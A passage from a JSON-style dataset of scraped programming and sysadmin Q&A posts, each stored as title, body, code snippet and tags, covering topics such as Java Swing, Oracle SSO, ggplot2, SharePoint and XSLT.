IronPython do to run faster\nthe code for the second time\nis there anything I can
do for the code to run at the speed execution of the second time, after I restart
the server?\nGreetings, Pablo\n", "", "asp.net python webforms ironpython"],
"1816643": ["Consuming Web Services in Netbeans", "I've setup a project in Netbeans
6.5 with some web services that I've created myself and some web services that I've
imported from WSDL files. I've setup a couple of desktop application through
Netbeans in order to consume these web services. I'm not too sure where to go from
here. \nI have the GUI setup but not sure how to reference the web services so they
can be consumed. I was wondering would anybody be able to guide me through this
process or point me in the direction of a relevant tutorial. I'd also like to learn
how to consume a web service through a JSP (also created in Netbeans) if possible.\
nThanks.\n", "", "netbeans service soa"], "5175701": ["How to troubleshoot laggy
Lenovo L520?", "I have an 18-month old Lenovo L520 (model 7859). It is extremely
laggy in Windows 7, sometimes lagging up to 10 seconds before responding to a click
or keystroke. (There are times when it will go minutes without delay, but the
problem is fairly prevalent while using the computer).\nIt also occasionally
produces a BSOD, reporting BUGCODE_USB_DRIVER. There are no external USB devices
connected to the system.\nHere are some things I have already done to troubleshoot
this problem:\n\nRestored to factory configuration (several times). Problem
appears on the machine immediately after installing from Lenovo recovery partition;
no third-party software is required to produce the problem other than perhaps some
of what comes with the system.\nRemoved most of the pre-installed non-Microsoft
software. No effect.\nChecked to make sure the BIOS is already newer then version
1.15 and the controller is set to AHCI mode, per this techote:
http://support.lenovo.com/en_EG/downloads/detail.page?DocID=HT062964.
Unfortunately, although this seemed promising, the BIOS is already in good shape.\
nLooked at various system monitoring tools. As far as I can tell, the problem is
nearly-constant (or at least, extremely frequent) disk access, but I can't tell
what process is causing this access or how to avoid it. Neither RAM nor CPU are
constrained.\nTried running the computer using Ubuntu on a USB key. The problem
DOES NOT appear when booted into Ubuntu on a USB key, leading me to strongly
believe this is a software problem.\n\nThe computer is usable, kind of, but it
definitely isn't performing at a level I'd expect from similar hardware.
Unfortunately this wasn't reported to me until the system was out of warranty
(although the problem has definitely existed from the day we bought the machine),
so making it Lenovo's problem wasn't something I could afford to do. I don't have
any other computers of exactly the same model to compare with (though I have some
that are quite similar, which do not have this problem).\nWhat should I try
next? \n", "", "windows-7 lenovo lag oem"], "5168183": ["Proper way to add a
service?", "I've just installed and config'ed noip on my server, but I'm unsure on
how to make it always run.\nI'm guessing:\n\nI've checked and there is a file
there... Sorry for a newb question, but I don't want to mess up my
configuration. :-)\nAlso, could anyone explain the argument? I'm really fresh, but
I understand there are certain runlevels?\n", "chkconfig --levels 235 noip
on\n/etc/init.d/noip start\n", "linux fedora fedora-15"], "4187469": ["how to add
Image in JPanel", "I add a tabbedpane in my frame and call tab.add(\" \",new Img())
that extends Img with JPanel ..\nThe question is: Could I add JScrollPane in that
JPanel and drawImage as JPanel's background and also to do additional drawing on
that image such as making route on background image(such as map) because I want to
apply Prim's algorithm on those route...\nAnd also if I wish to add additional
panel on tabbedpane like above, how could I control those tab actions..\nThe sample
code is like that...\nIf you have any idea on Prim's algorithm and graph algorithm
please help me!\nThanks!\n\n", "public class MainFrame extends JFrame {\n
private JMenuBar menuBar = new JMenuBar();\n private JMenu menuFile = new
JMenu();\n private JMenuItem menuFileExit = new JMenuItem();\n private JPanel
jPanel1 = new JPanel();\n private JLabel lbl1=new JLabel();\n private JLabel
lbl2=new JLabel();\n private JPanel jPanel2 = new JPanel();\n private
JTabbedPane jTabbedPane1 = new JTabbedPane();\n private JPanel originalgraph =
new JPanel();\n private JPanel zebuthiri = new JPanel();\n private JPanel
dekhinathiri = new JPanel();\n private JPanel oattayathiri = new JPanel();\n
private JPanel pobbathiri = new JPanel();\n private JPanel
zeyathiri = new JPanel();\n int weight[][] = null;\n public MainFrame(int []
[]w) {\n this.weight=w;\n try {\n jbInit();\n }
catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n
private void jbInit() throws Exception {\n this.setJMenuBar( menuBar );\n
this.getContentPane().setLayout(null);\n Toolkit tk=getToolkit();\n
Dimension size=tk.getScreenSize();\n this.setSize( new Dimension(size) );\n
this.getContentPane().setBackground(Color.CYAN);\n
menuFile.setText( \"File\" );\n menuFileExit.setText( \"Exit\" );\n
menuFileExit.addActionListener( new ActionListener() { public void actionPerformed(
ActionEvent ae ) { fileExit_ActionPerformed( ae ); } } );\n
jPanel1.setBounds(new Rectangle(0, 0, 1365, 160));\n
jPanel1.setLayout(null);\n lbl1.setBounds(new Rectangle(0, 0, 1365, 160));\n
lbl1.setIcon(new ImageIcon(\"5.jpg\"));\n lbl2.setIcon(new
ImageIcon(\"b.jpg\"));\n jPanel2.setBounds(new Rectangle(0, 630, 1365,
160));\n lbl2.setBounds(new Rectangle(0, 0, 1365, 160));\n
jPanel2.setLayout(null);\n jTabbedPane1.setBounds(new Rectangle(0, 160,
1365, 470));\n\n menuFile.add( menuFileExit );\n
menuBar.add( menuFile );\n jPanel1.add(lbl1);\n jPanel2.add(lbl2);\n\
n\n jTabbedPane1.addTab(\"Zebu Thiri\",new zebuthiri(weight));\n
jTabbedPane1.addTab(\"Original Graph\",new originalgraph(weight));\n
jTabbedPane1.addTab(\"Dekhina Thiri\",new dekhinathiri(weight));\n
jTabbedPane1.addTab(\"Oattaya Thiri\",new oattayathiri(weight));\n
jTabbedPane1.addTab(\"Pobba Thiri\",new pobbathiri(weight));\n
jTabbedPane1.addTab(\"Zeya Thiri\",new zeyathiri(weight));\n
this.getContentPane().add(jTabbedPane1, null);\n
this.getContentPane().add(jPanel2, null);\n
this.getContentPane().add(jPanel1, null);\n }\n\n void
fileExit_ActionPerformed(ActionEvent e) {\n System.exit(0);\n }\n
public static void main(String args[]){\n int w[][]=new int [100][100];\n
MainFrame f=new MainFrame(w);\n f.setVisible(true);\n f.pack();\n
f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n }\n", "java swing gui jframe
jpanel"], "3471588": ["ASP.NET App behind Oracle SSO - Anonymous access?", "We've
got an ASP.NET Application that the client would like to protect Via Oracle SSO and
also allow anonymous access to the application.\nNone of the standard Oracle SSO
plugins have an anonymous access option, so we wrote a custom java SSO plugin to
check for Portal/SSO session cookies and do the base Oracle SSOServerAuth, and
otherwise if they don't have an SSO cookie (anonymous access) - return the Oracle
PUBLIC user.\nHas anyone got a scenario like this to actually work properly? Is
there a better way to do this?\nWe're using the Oracle SSO IIS plugin, and it works
in some cases - but we're seeing some odd behavior in Portal that occurs after
authenticating a user as the oracle PUBLIC user:\nThe login forms don't work with
the custom and default plugin at the same security level. And with the custom
plugin at a lower security level than the default plugin, the PUBLIC authentication
is somehow persisted for the partner application even if the user logs into Portal
with another account.\nHere is our custom plugin:\n\n", "public class
MixedAuthenticator\n extends SSOServerAuth\n implements
IPASAuthInterface\n{\n\n public MixedAuthenticator()\n {\n }\n\n public
IPASUserInfo authenticate(HttpServletRequest request)\n throws
IPASAuthException, IPASInsufficientCredException\n {\n\n boolean
foundPortalUser = false;\n\n Cookie[] cookies = request.getCookies();\n\n
if(cookies != null)\n {\n for(int i=0; i<cookies.length; i++)\n
{\n Cookie cookie = cookies[i];\n\n
if(cookie.getName().equalsIgnoreCase(\"portal\"))\n {\n
foundPortalUser = true;\n }\n }\n }\n\n
if(foundPortalUser)\n {\n return super.authenticate(request);\n }\n
else\n {\n IPASUserInfo anonUser = new IPASUserInfo(\"PUBLIC\");\n
return anonUser;\n }\n public URL getUserCredentialPage(HttpServletRequest
request, String message)\n {\n return super.getUserCredentialPage(request,
message);\n }\n }\n", "asp.net oracle application sso"], "3910295": ["Strange
error with Twitter rate limiting and Azure", "I have an Azure worker role. It
requests the information of 100 users. I load the data with XDocument.Load. I save
the requestet data in a blob on azure. Everything works fine locally.\nWhen I
upload the app to Azure it fails, and yes, I know of rate limiting with Twitter,
but it doesn't matter if I wait...let's say... 2 hours to request the same data
again, I still get the The \"remote server returned an error: (400) Bad Request\",
which indicates rate limiting with Twitter.\nI am really lost, especially because
of the waitng-game with twitter and rate limiting on Azure, it's not an easy task
to debug either.\nSuggestions ?\n", "", ".net twitter azure"], "4616862":
["Floating toolbar / actionbar / buttonbar in XPages?", "Does anyone have a
floating toolbar for xXages similar to the action bar in Lotus Notes client?\nI
would like the toolbar to stay at the top of the browser while the browser is
scrolled.\nThe extension pages toolbar looks really nice but first it only does
client side code and it does not appear to float.\n", "", "css xpages xpages-
extlib"], "3361542": ["Details of Bing Confidence Levels", "Has anyone found a more
complete description of what the Bing Confidence Enumeration values actually mean?\
nI'm trying to reconcile the results against another source of address data that
has confidence values such as City, Street and Specific Address, and I want to get
a feel for where the Bing results sit on this scale. I'm using the RESTful API.\
nThe MSDN documentation only states that \"High = The geocode service has high
confidence in the match.\" etc.\n", "", "geocoding bing-maps bing-api bing-maps-
api"], "922896": ["Outlook: How can you automatically sync appointments from my
Outlook calendar to a public Outlook calendar?", "Is it possible to automatically
sync specific appointments from my personal Outlook calendar to a shared public
Outlook calendar? In order to meet my needs, the sync needs to be automatic and
not require a 3rd-party tool.\n", "", "outlook-2007"], "1731878": ["How to match an
XML attribute on containing a specified value using jQuery?", "I wish to know how
it's possible to check if an XML attribute contains a specified value; I mean
something like but for XML attributes.\nI tried using some external plugins but
nothing. Maybe a regular expression could be an option?\nAny help will be strongly
appreciated.\nThank you very much in advance.\n", "('[attribute~=\"value\"]')",
"jquery xml attributes selector"], "2329110": ["Can JasperReports include a pdf in
a report?", "Is it possible to include an existing pdf file in a JasperReport? \
nWe really want to append new data to an existing report with out regenerating the
existing report. We will be exporting back to pdf. I'm looking at using iText's
PdfCopy to merge two pdfs, but was hoping JasperReports might have an easier
way...\n", "", "pdf-generation jasper-reports itext"], "5124263": ["Indenting two
spaces a selection (visual mode) in vim?", "Say I have this code:\n\nI want to
select the three lines inside the variable (in visual mode) and indent it two
spaces:\n\nHow can I accomplish that in vim?\n", "var users = [\n { name: 'TJ',
email: '[email protected]' },\n { name: 'Loki', email: '[email protected]' },\n {
name: 'Jane', email: '[email protected]' }\n ];\n", "vim"], "5131830": ["Win 2008
Join Domain with PDC IP but no Domain Name of the AD", "I would like to write
script to allow a workstation to join a domain. I have the IP address of the
primary DC of this domain. Are there any commands / scripts that I can use to
retrieve the domain name of this AD domain such that the domain name can be
retrieved for the join domain operation?\nAll workstations / DCs are Windows Server
2008.\nThere are two NICs on the workstations / DCs. One of them is used for
network load balancing (NLB) and the other is used for management. The default
gateway is only set on the NIC for NLB while the IP Address I have is the
management one. No reverse DNS zones were setup in the primary DC and changing the
settings of it is not preferred.\n", "", "windows active-directory domain-
controller domain-name"], "4891785": ["Moq:How to retrieve property/method which
depends on other propety", "I'm very new to mock environment and recently doing
some unit testing using Moq and got stuck on following implementation of testing.\
nInterface:\n\nConcrete Class\n\nunit testing using Moq\n\nHere is populated with
null value reason being org is null. Not sure why org is null even though I setup
the property thru moq. Can someone please give me a clue what i'm doing wrong. By
the way here WebService think it as if it can be any webservice\n", "public
interface IWebServiceWrapper\n{\n string _org { get; set; }\n WebService
GetWebService();\n}\n", "moq"], "5210344": ["Change default path for when I SSH in
to CentOS server?", "I have a CentOS 5.7 web server, and I want to change the
default place I land in when connecting using SSH.\nCurrently I land in , and I
want to land in instead.\nI've gone in as root and added to - and as I
understand it this then sweeps the user's own folder for an file. What I'm not
sure about is exactly what I'm adding to this environment file, as doesn't seem to
work, either here or in my .bashrc or .bash_profile files (which
as I understand it wouldn't make a difference anyway as an SSH connection is a
non-interactive shell?).\nThanks in advance.\n", "/home/username", "linux ssh
centos server sshd"], "869065": ["Resource paths in a RESTful webservice", "I am
building a web service following the REST architechture style. I am using JAX-RS to
make it easier. This question is however not concerned about a technology, but
instead correct use of paths to resources.\nI have created some resources in my
application such as a Quiz, Question and QuestionFeedback.\nI have created paths
such as \n\n\nand so on. Now, I have seen some web service APIs that exposes path
such as or . The approved part of the path seems more like attributes that the
questions may have (in this case) and I wonder if this is ok, and where the boundry
goes between making it a request parameter and a part of the path like this?\nAnd
is it ok to expose paths in the web service that in some way exposes one of the
intended resources in your system like in this case , but through a path like in
addition to the normal path? What are the rules, and how is this supposed to be? \
nIf I did not have anyone to ask I would have created a path like : GET. \nBecause
approved is not a resource in my system. Or is it ok to create paths that exposes
resources...but don't use resource name directly.\n", "/quiz", "java web-services
rest java-ee jax-rs"], "4760256": ["ggplot2 produces error when used in function or
S4", "I've tough time with ggplot2 when used in function or S4. Here is my code
without function:\n\nand the output is \n\nBut when I use the same code in the
following function, I got error\n\nEDIT\n\nThe error is \n\nAny help and/or
comments will be highly appreciated. Thanks in advance.\n", "rm(list=ls(all=TRUE))\
nlibrary(nlme)\ndata(Oats)\nData <- Oats\n\nData$Env <- factor(Data$Block)\
nData$Gen <- factor(Data$Variety)\n\nData$Gen <- factor(Data$Gen)\nData$Env <-
factor(Data$Env)\nGen.No <- length(levels(Data$Gen))\nEnv.No <-
length(levels(Data$Env))\nMin.G.E <- min(Gen.No, Env.No)\n\nGGE.ANOVA <- aov(yield
~ Env + Env:Gen, data = Data)\nGGE.Effs <- model.tables(GGE.ANOVA, type
= \"effects\", cterms = \"Env:Gen\")$tables$\"Env:Gen\"\nSVD <- svd(GGE.Effs)\nD <-
diag(SVD$d[1:Min.G.E])\nE <- SVD$u%*%sqrt(D)\nG <- SVD$v%*%sqrt(D)\nEcolnumb <-
c(1:Min.G.E)\nEcolnames <- paste(\"PC\", Ecolnumb, sep=\"\")\ndimnames(E) <-
list(levels(Data$Env), Ecolnames)\ndimnames(G) <- list(levels(Data$Gen),
Ecolnames)\nSVD.Values <- SVD$d\nPC.No <- c(1:length(SVD.Values))\nPC.SS <-
SVD.Values^2\nPC.Percent.SS <- PC.SS/sum(PC.SS)*100\n\nlibrary(grDevices)\
ncon.hull.pos <- chull(G)\ncon.hull <- rbind(G[con.hull.pos, ],
G[con.hull.pos[1], ])\n\ngetPerpPoints <- function(mat) {\nx <- mat[,1]\ny <-
mat[,2]\nout <- matrix(0, nrow = 2, ncol = 2)\nif(diff(x) == 0) {\nxnew <- x[1]\
n }\n else {\nxnew <- (diff(y) / diff(x)) * x[1] - y[1]\nxnew <- xnew /
(diff(y) / diff(x) + diff(x) / diff(y))\n }\n ynew <- -(diff(x) / diff(y)) *
xnew\n out[2,] <- c(xnew, ynew)\n return(out = out)\n }\ntmp <- t(sapply(1:
(nrow(con.hull)-1),\n function(i) getPerpPoints(con.hull[i:(i+1),])[2, ]))\ntmp
<- as.data.frame(tmp)\n\n\nlibrary(ggplot2)\nr <- 0.08\np <- ggplot(data =
as.data.frame(G), aes(PC1, PC2)) + geom_point() + theme_bw()\np <- p +
geom_text(aes(label = row.names(G)), size = 3, vjust = 1.25, colour = \"black\")\np
<- p + geom_path(data = as.data.frame(con.hull), aes(PC1, PC2))\np <- p +
geom_segment(data = as.data.frame(E), aes(xend = PC1, yend = PC2), x = 0, y = 0,\n
colour = \"black\", arrow = arrow(angle = 25, length = unit(0.25, \"cm\")))\np <- p
+ geom_text(data = as.data.frame(E), aes(label = row.names(E)),\n
size = 3, vjust = 1.35, colour = \"black\")\np <- p + labs(list(x = sprintf(\"PC1
(%.1f%%)\", PC.Percent.SS[1]),\n y = sprintf(\"PC2 (%.1f%%)\",
PC.Percent.SS[2])))\np <- p + opts(axis.title.x = theme_text(size = 10, hjust =
0.54, vjust = 0))\np <- p + opts(axis.title.y = theme_text(size = 10, angle = 90,
vjust = 0.25))\np <- p + xlim(range(c(E[ ,1], G[ ,1])) + range(c(E[ ,1],
G[ ,1]))*r)\np <- p + ylim(range(c(E[ ,2], G[ ,2])) + range(c(E[ ,2], G[ ,2]))*r)\
np <- p + geom_segment(data = as.data.frame(tmp), aes(xend = tmp$V1, yend =
tmp$V2), x = 0, y = 0)\nprint(p)\n", "r ggplot2"], "1530608": ["ASIHttpRequest
responseStatusCode = 200. But not getting right responseData from server", "All\
nThis is a problem which happens rarely. In fact I had to spend a lot of time to
reproduce it but here it is anyways.\nI am using ASIHTTPRequest to get some data
from my server. I throw error for anything apart from those having
responseStatusCode == 200. My server returns some messages.\nWhat I noticed is,
that sometimes, depending on my wireless connection (on laptop simulator usage),
the ones which needs authentication, ASIHttpRequest returns response of 200, but
the responseData is something like the following instead of the messages from my
server\n\nIs this correct? If the message from the server was not received should
not the responseStatusCode be something other than 200\nHow do I go about handling
this kind of situation? meaning after checking responseStatusCode == 200 does not
seem to be good enough. This was just an example. In other wireless regions,
different garbage is printed out.\nUPDATE\nNot sure if this has any role to play
but I have\n\n", "<HTML><HEAD><TITLE>Cisco Systems Inc. Web Authentication
Redirect</TITLE><META http-equiv=\"Cache-control\" content=\"no-cache\"><META http-
equiv=\"Pragma\" content=\"no-cache\"><META http-equiv=\"Expires\" content=\"-
1\"><META http-equiv=\"refresh\" content=\"1; URL=https://webauth-
redirect.oracle.com/login.html?redirect=17.22.111.222/scripts_dummy/
messagesx.php\"></HEAD></HTML>\n", "iphone objective-c xcode http asihttprequest"],
"2826533": ["Drupal - What is Server and index in Search Api Drupal", "I spent 2
days studying \"Seach Api Module\" in Drupal\n\nThanks in advance!\n", "
Somebody can explain for me , What is Purpose of \"Server\"\n and \"Index\"
in \"Search APi Module\",\n Why we need to Create \"Server\" and \"Index\", and
We Can I find them, Does \n\"Index\" create a xml file like Solr Server\n", "search
drupal-7 drupal-modules"], "1219419": ["Paperclip save attachment", "Is there a
better way to save some string as an attachment via Paperlip as making a tmp file,
putting the string into it, opening it again and saving it as an attachment ?\nLike
this :\n\n", " def save_string data\n tmp_file = \"/some/path\"\n
File.open(tmp_file,'w') do |f|\n f.write(data)\n end\n\n
File.open(tmp_file,'r') do |f|\n ceneo_xml = f\n save!\n end\n end\
n", "ruby-on-rails paperclip"], "5930130": ["Reset OS X Software Update server",
"My Software Update is broken. I had tried to set it to update from my OS X server
(server.local) (instead of pulling from Apple) to save bandwidth, but was never
able to get it working. Now when I run Software Update, I get: \n\nThe Software
Update Server (server.local) is not responding.\nCheck to make sure your network
connection is operating normally. If there are no issues with your connection,
contact your network administrator for assistance.\n\nI've tried resetting it back
to the default location by doing:\n\nand\n\nbut it still gives the same error. \
nI've also tried using the Software Update Enabler which had no effect.\nI'm was
running Leopard when I first encountered this problem. I've since upgraded to Snow
Leopard but that had no effect on this issue.\n", "defaults write
~/Library/Preferences/com.apple.SoftwareUpdate CatalogURL
\"http://swscan.apple.com/content/catalogs/index-1.sucatalog\"", "osx updates"],
"2794646": ["How much power supply do I need for my server, and could a shortage be
causing my odd crashing?", "I have 5 servers, all with similar hardware (i7, four
2tb 7200rpm drives, two 4tb 5400rpm drives, 430 watt power supply), and lately the
machines have been freezing up. This has gotten worse in the last day or so, and I
can't pinpoint any explanation. One recent change was adding the two 4tb hard
drives. The crashes happen most often while running a large Hadoop job, so I was
originally thinking the load was causing some issues, but last night one server
just froze without any heavy load on the box (or so I think), other than HDFS
(Hadoop's distributed file system) was probably rebalancing itself since two of the
five nodes were offline.\nIf I plugin a monitor and keyboard to one of these frozen
machines, I can't get any response or feedback on the screen.\nAny ideas on
possible points of failure and/or different logs I can look at to investigate?
Thanks\nEdit: The systems are running Ubuntu 10.04\nEdit 2: More on hardware:\n\
nintel core i7-930 bloomfield 2.8ghz processor (quad core)\n12gb (6 x 2gb) kingston
ddr3 1333 ram\nantec earthwatts green 430 power supply\nmsi x58m lga 1366
motherboard\n\nEdit 3: I pulled the two 4TB hard drives out temporarily to see if
it helped with the crashing, and so far the servers are staying up, even under
heavy Hadoop load. I will try the power meter soon to confirm if they are drawing
too much power.\n", "", "hadoop power-supply freeze"], "917396": ["SharePoint
copying images from document library of a Web site to a document library in another
Web site", "I am moving image files from document library of a Web site to a
document library in another Web site. I get the following error @ line SPListItem
oListItemDest = oFileDest.Item;\nerror:\n[Microsoft.SharePoint.SPException] =
{\"The object specified does not belong to a list.\"}\nCode:\n\n", " try\n {\n
using (SPSite oSiteCollectionSrc = new SPSite(\"http://dev:32223/\"))\n {\n
SPWeb oWebsiteSrc = oSiteCollectionSrc.AllWebs[\"en/people\"];\n
SPList oListSrc = oWebsiteSrc.Lists[\"Images\"];
\n\n SPListItemCollection collListItemsSrc = oListSrc.Items;\n\n
foreach (SPListItem oListItemSrc in collListItemsSrc)\n {\n
SPFile oFileSrc = oListItemSrc.File;\n Stream srcStream =
oFileSrc.OpenBinaryStream();\n\n using (SPSite
oSiteCollectionDest = new SPSite(\"http://www.devmysites.com/\"))\n
{\n SPWeb oWebsiteDest =
oSiteCollectionDest.OpenWeb(\"en/people\");\n SPList
oListDest = oWebsiteDest.Lists[\"Images\"];\n\n
SPFileCollection collFilesDest = oListDest.RootFolder.Files;\n\n
try\n {\n\n SPFile oFileDest =
collFilesDest.Add(oListDest + @\"/\" + oFileSrc.Name, srcStream, true);\n
SPListItem oListItemDest = oFileDest.Item;\n
oListItemDest[\"Created\"] = oFileDest.TimeCreated;\n
oListItemDest[\"Modified\"] = oFileDest.TimeLastModified;\n
oListItemDest.Update();\n }\n
catch(Exception es1)\n {\n
Console.WriteLine(\"# Exception:#\");\n
Console.WriteLine(es1.Message);\n }\n\n
oWebsiteDest.Dispose();\n }\n }\n
oWebsiteSrc.Dispose();\n }\n }\n catch (Exception es)\n
{\n Console.WriteLine(\"# Exception:#\");\n
Console.WriteLine(es.Message);\n }\n", "sharepoint document"], "1290662":
["any MQ services based on email?", "I am looking for MQ systems (rabbitmq ,
activemq) for our programs. Almost all MQ run on ports. I was wondering if there
are any MQ systems running on smtp or email services.\nBasically I am trying to
avoid the hassle of setting up a new software and opening up ports in different
firewalls (its a hassle).\n", "", "email smtp message-queue mq"], "5915510": ["Is
*reading* canvas ImageData 32-bit typed arrays much faster than 8-bit?", "I know
that manipulating 32-bit typed ImageData arrays is significantly faster (2x) than
8-bit. Is the same true for simply reading them?\nWhen writing, you reduce the work
from 3 index increments and 4 assignments to 3 bit-shifts and and a single
assignment, plus reducing loop overhead by 75%. To read them back you'd similarly
reduce loop overhead and convert the increments to bit-shifts but would still need
to assign 4 separate vars, for r,g,b,a.\nhere's the bench for manip diffs:
http://jsperf.com/canvas-pixel-manipulation/24\nif the majority of the speed
increase comes from reducing assignment, then it may not be worth converting my
read-heavy code to typed arrays. anyone have experience with this before i spend
time writing another bench?\nthanks!\n", "", "canvas getimagedata typed-arrays"],
"2716402": ["debian installation", "I have the netinstall distro of Debian, during
the installation I can choose, for example \"web server\" or \"Desktop
environment\". So, where can I find list of packages, i'm installing?(sorry my
english) \n", "", "linux debian"], "3556697": ["iPad Home Screen App refreshes on
every open", "I'm writing a web app for the iPad using HTML5 and SenchaTouch. The
app uses cache manifest to function offline. Once it has been added in the home
screen and opened without Safari, it will refresh itself every time it is opened,
even if just navigating to the home screen and back. The desired behavior is to
leave the app, do something else, and then come back to the app with everything
untouched.\nAn example of a similar app that displays the same (undesired) behavior
can be found here: http://ignitedmediadesign.com/WebApp/index.html\nI've read that
using a cache manifest should have solved this problem on iPhone (
http://www.stevesouders.com/blog/2011/06/28/lack-of-caching-for-iphone-home-screen-
apps/ ), but doesn't seem to have done the trick for either iPhone or iPad.\nIs
there another way to fix this? Is there some secret to cache manifest files that
stops this that I may have missed?\n", "", "ipad mobile sencha-touch application-
cache offline-web-app"], "5244927": ["How can I automatically save a list of open
files in Geany, with cron or otherwise?", "I use the Geany IDE for programming, and
it does not reliably reload my previously open files, for example after a power
outage. I found that Geany has a command line feature which returns a list of all
open files in the editor, so I hoped that I could quickly write a cron command that
would automatically save that list every hour or so. \nI currently have this line
in my crontab:\n\nand the script contains just one line: \n\nThis does not work. I
noticed that Geany's --list-documents feature must be called by the same user (I
think), so I tried adding \"su - [myusername]\" to the script, but apparently su
cannot be used from within a cron job? So, I am at a loss for how to automate this.
I am open to any other solutions to my problem, although Geany options/plugins seem
to be unreliable (which is why I tried this in the first place)\n", "0 * * * *
~/bin/save_geany_files\n", "linux sudo cron geany"], "902274": ["Restrict search to
one field in a content type?", "Simple question really how can I restrict the
SharePoint search to only search against one field for a content type.\nI can
create a scope for the content type but how do I go about restricting the search to
just the one particular field?\nThanks \n", "", "2007 search search-scope content-
type"], "1785220": ["One VS license for both work and personal use?", "As per this
question (Can I install VS on two machines with one license?) as a single person I
can use VS on as many computers as I wish, even at work and at home. My question
is, can I use the one license to both write software at work for my company's
internal use, and write my own independent software from home that I sell? (My
company paid for the license not me).\nMy guess would be no, but I can't find
anything to support or contradict that.\n(disclaimer: I understand that responses
are not official legal advice)\n", "", "visual-studio-2010 licensing"], "1132110":
["What does @media screen and (max-width: 1024px) mean in CSS?", "I found this
piece of code in a CSS file I inherited, but I can't make any sense out of it:\n\
nSpecifically, what is happening on the first line?\n", "@media screen and (max-
width: 1024px){\n img.bg {\n left: 50%;\n margin-left: -512px; }\
n}\n", "css css3 media-queries"], "5046721": ["Javascript MVC-framework (JS only)",
"Are there any JavaScript-MVC-frameworks for single page applications? (JS only, so
without the need to compile or additional server software)\nNote that I recently
abandoned Backbone after using it for a quite large application.\nResons: Missing
ui bindings, no module-concept (e.g. CommmonJS-like), poor model-defnitions and so
on.\n", "", "javascript mvc frameworks single-page-application"], "5833096": ["Read
only the first item of a feed", "Is there a way to simply read the first item of an
rss feed instead to read all? I use actualy with method but that read all.\n",
"WebClient", "c# windows-phone"], "656770": ["NetKit + MySQL JOINs", "I have been
working on some package ( Calling it NetKit ) the past few days and I am
implementing some classes to remove the need of SQL in my code ( So I could switch
db's whenever I would like to ).\nMy classes support a way of linking certain
fields to other tables, like how you can have an authorID in a newsItem and have
the newsItem fetch the User object connected to the authorID without needing 2
queries.\nMy question here is, both my News and Users table have fields called 'id'
and 'created'. As I prefer leaving the names the same, is there a way of doing the
join as such, that I could parse the results as 2 rows.\nBy which I mean I could
build a 2-dimensial array, one for the user's data, one for the news item. Or...
will my only option actually be renaming the fields and living with the other
names?\nThanks!\n", "", "mysql query database-design relational-database"],
"3970906": ["Detect the number of webcams/cameras on PC with OpenCv", "I'm making
an application running multiple webcams/cameras. I cannot manage to detect the
number of webcams I have with OpenCV to arrage a big display window with multiple
sub webcams in it. \nSomeone can help me this? \nI've searched openCV willowgarage
but failed\nthanks\n", "", "opencv"], "5793333": ["XSL Distinct Values", "I have
the following XML data:\n\n\nI am looping through the employees and displaying the
data using the following loop: \n\nIn that loop I need to do another loop that will
show the distinct work orders for the employee for the current position of the
employee loop. Below is some code that I have been working with. The problem is
that it returns all of the distinct work orders for the entire XML file instead of
the current employee. I have reworked it over and over for hours but I either get
all work orders in the XML file or 0. Can someone give me a little help? Thanks. \
nI have this key declared at the top of the XSLT\n\nThis is the loop where I have
been trying to get the work orders for an employee\n\n\nUPDATE:\nThe out put is
HTML. To show the employee info I did this:\n\nHere I need to loop and output the
work order data similar to this\n\n\n", "<Timesheet>\n<WeekEnding>Oct 7,
2012</WeekEnding>\n<JobNumber>Doe - 508</JobNumber>\n<WGNumber>WG No.</WGNumber>\
n<Customer>Dummy Company</Customer>\n<City>Raleigh</City>\n<State>North
Carolina</State>\n<TeamMember>\n <EmployeeNumber>101010</EmployeeNumber>\n
<EmployeeName>Doe, Joseph</EmployeeName>\n <EmployeeClass>UCL</EmployeeClass>\n
<Monday>\n <TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>safety
meeting</WorkOrderNumber>\n <RegularHours>.5</RegularHours>\n
<OverTimeHours>Over Time</OverTimeHours>\n
<OtherHours>Other</OtherHours>\n <PerDiem>NO</PerDiem>\n
<Notes>Safety meeting</Notes>\n </TimeDetail>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>rain time</WorkOrderNumber>\n
<RegularHours>2</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Rain time</Notes>\n </TimeDetail>\
n <TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>777091</WorkOrderNumber>\n
<RegularHours>7.5</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Monday>\n <Tuesday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>safety meeting</WorkOrderNumber>\n
<RegularHours>.5</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Safety meeting</Notes>\n
</TimeDetail>\n <TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>777091</WorkOrderNumber>\n
<RegularHours>9.5</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Tuesday>\n <Wednesday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>5555591</WorkOrderNumber>\n
<RegularHours>10</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Wednesday>\n <Thursday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>111122</WorkOrderNumber>\n
